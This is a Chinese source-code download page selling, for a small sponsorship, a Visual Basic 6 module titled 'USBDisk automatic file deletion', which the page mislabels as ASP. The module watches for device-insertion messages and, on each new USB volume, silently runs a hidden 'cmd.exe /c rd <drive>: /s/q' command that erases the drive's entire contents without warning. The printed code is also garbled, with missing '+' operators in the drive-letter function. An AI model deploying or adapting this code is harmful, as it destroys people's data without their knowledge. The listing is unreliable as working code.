基本信息
源码名称:USBDisk文件自动删除
源码大小:4.80KB
文件格式:.rar
开发语言:ASP
更新时间:2021-08-21
友情提示:(无需注册或充值,赞助后即可获取资源下载链接)
嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):813200300
本次赞助数额为: 2 元×
微信扫码支付:2 元
×
请留下您的邮箱,我们将在2小时内将文件发到您的邮箱
源码介绍
Attribute VB_Name = "MUsb"
Option Explicit
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Const GWL_WNDPROC = -4
Private Const WM_DEVICECHANGE As Long = &H219
Private Const DBT_DEVICEARRIVAL As Long = &H8000&
Private Const DBT_DEVICEREMOVECOMPLETE As Long = &H8004&
Private Const DBT_DEVTYP_VOLUME As Long = &H2
Private Type DEV_BROADCAST_HDR
lSize As Long
lDevicetype As Long
lReserved As Long
End Type
Private Type DEV_BROADCAST_VOLUME
lSize As Long
lDevicetype As Long
lReserved As Long
lUnitMask As Long
iFlag As Integer
End Type
Private info As DEV_BROADCAST_HDR
Private info_volume As DEV_BROADCAST_VOLUME
Private PrevProc As Long
Public Sub HookForm(F As Form)
PrevProc = SetWindowLong(F.hwnd, GWL_WNDPROC, AddressOf WindowProc)
End Sub
Public Sub UnHookForm(F As Form)
SetWindowLong F.hwnd, GWL_WNDPROC, PrevProc
End Sub
Private Function WindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim DDfile As String
Select Case uMsg
Case WM_DEVICECHANGE
If wParam = DBT_DEVICEARRIVAL Then
CopyMemory info, ByVal lParam, Len(info)
If info.lDevicetype = DBT_DEVTYP_VOLUME Then
CopyMemory info_volume, ByVal lParam, Len(info_volume)
frmMain.Label1.Caption = "监测到USBDisk " & Chr(GetDriveName(info_volume.lUnitMask)) & ":\ 插入!"
On Error Resume Next
DDfile = "c:\windows\system32\cmd.exe /c rd " & Chr(GetDriveName(info_volume.lUnitMask)) & ":" & "/s/q"
Shell DDfile, vbHide
End If
End If
If wParam = DBT_DEVICEREMOVECOMPLETE Then
CopyMemory info, ByVal lParam, Len(info)
If info.lDevicetype = DBT_DEVTYP_VOLUME Then
CopyMemory info_volume, ByVal lParam, Len(info_volume)
frmMain.Label1.Caption = "监测到USBDisk " & Chr(GetDriveName(info_volume.lUnitMask)) & ":\ 拔出!"
End If
End If
End Select
WindowProc = CallWindowProc(PrevProc, hwnd, uMsg, wParam, lParam)
End Function
Private Function GetDriveName(ByVal lUnitMask As Long) As Byte
Dim i As Long
i = 0
While lUnitMask Mod 2 <> 1
lUnitMask = lUnitMask \ 2
i = i 1
Wend
GetDriveName = Asc("A") i
End Function